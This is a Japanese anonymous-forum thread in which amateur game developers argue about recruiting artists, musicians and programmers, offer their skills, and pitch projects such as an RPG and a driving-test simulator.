過疎板だから一人か二人でもそう言う人間がいると影響力大きいんだよな。
>>950 なんでプログラマーって自分の身の丈を知らずに
絵や音楽についてはプロレベルの人材を望んじゃうの?
天才でもない凡才プログラマーは凡才で妥協してろよ。
>>953 視点がひねくれすぎ。なんでそうなるんだよw
なんかトラウマでもあんの?
宅配じゃね
絵や音楽は上手い下手が素人にもわかるが、
プログラマーの腕は素人には分からんから、
他人に要求する前に、自分の能力がどの程度か示せ。
分かりやすいようにガンダムかドラゴンボールでな
>>953 別にプロレベルの人材を募集してるとは書いてなかったんですが……
魅力的な絵や音楽が自分のものからは感じられないから募集しようとしただけです
>>956 素人には分かるらしいですがそれを言ったらJPOPなんか(ry
募集しようとしただけですってば
今はもう諦めてます
こんな風になるんだったら頼れそうにないというのは火を見るよりも明らかですしね……
スキルを持った人もここ見てるよ
ただそういう人はおしゃべりじゃないと言うだけで
どんなスレでも使い様
あと一つ言えるのは、どんな企画にも往々にしてそれに見合ったスキルの人が集まると言う事だ
変なのばかりしかこないなら企画も(もしくは企画は良くても企画書を作るのが下手か)それなりでしかないんだと思う
というか企画書を書くのも技術だから、此処で募集するような、ゲーム作るの初めてと言う人が下手なのもしょうがないんだけど
どちらにしても雑談でスレを評価するのはずれてると思うw
なんか強烈な被害妄想もったやつがいるなここ
きっもちわるっ
俺はグランド・マスター・ガンダム
このスレ急にレスがつくね!
じっとりとした目で生暖かくヲチしてるやつが多いんだよ
なんだかんだでROM専は多そうだよな、この板
うーん
ゲーム開発の同志を募ってる人に言いたいんだが
ネットにそこまで期待をよせちゃだめだよ。
リアルで信頼できる人を募ったほうが吉。ネットじゃ腕もやる気も期待できない。
それに、募る側も幅広いスキル持って、先導できないとね。
しかし、個人のゲーム開発は難しいね。モチベーション保てるか、ちゃんと作れるか分かんないから。
しーッ!
ここは企画厨隔離スレなんだから、
応募すればたちどころにメンバーが集まって、
必ず努力・友情・勝利が得られるかのように騙さなきゃ!
リアルに知り合いがいたらネットなんて頼んねーよw
mixiにはゲーム開発コミュとかないの?
探したけど人集まってそうなのないんだけど……
2chだろうが募集掲示板だろうがmixiだろうが、本質が同じだからどこも一緒だよ。
ないよ、あるのは制作コミュとは名ばかりの魔窟のみ
>>970 募集トピックは多いけど身がある話はないんだよね。
音屋だけど、何か面白い企画ないですか?
おもしろい企画さがすやつはどの企画にも参加しない
迷宮に魅入られた者たちというRPGを作っております。
現在音師はいますが、全部を一人では無理だと思っています。
HPに参考BGMおいてあるので興味がありましたらメールください。
HPは
>>787
プログラマだけど、何か面白い企画ないですか?
企画してたけどすっかり忘れてる僕のはどうですか?
とりあえず言語はActiveBasicを考えてましたが
VC2008+DarkBasicとかHSPとかでもいいかなと。
ようはチープな蔵で快適動作が前提。
ただその場合モデリング?をがりがりコーディングしないといけないから無理かも。
スクリプトでも使えるライブラリもいいけどインストールしないといけないし。
何を作ろうと思ったかというと、
免許の鉄人のレプリカみたいな。
ハンドル操作はなしで、コースの選択だけをする。
免許一発試験の助けになるかなと。
一発試験は普通はやらないけど、時速30キロの制限を解除できる、
小型AT限定免許だったら、そのシミュレータがあれば合格率がぐっと上がる。
応用として、交通シミュレータ・・歩行者用とか。
幼稚園前からパソコン使ってる子ってたまにいるようだし、
交通量の多い場所で危険を学習しておけば、
どっかの芸人の子が車の影から飛び出してひかれて死んだようなのが減るかもしれないし、
今からボケ老人が大量増殖するわけだけど、道に迷わずに帰ってくる練習をするとか。
自宅をクリック一発で登録したら自宅周辺の立体地図が出来ちゃうようなものがあれば、
本当のシミュレーションになるかも。
航空写真って車も写ってるから、交通量も分かるし。
宅配も完成しそうだし
最近豊作っぽい?
宅配って完成しそうなのか?
blogが404になって、あの後どうなったのかと思ってたんだが
>974,977
音屋もプログラムも足りてるなあ…ペインタならほしいんだが。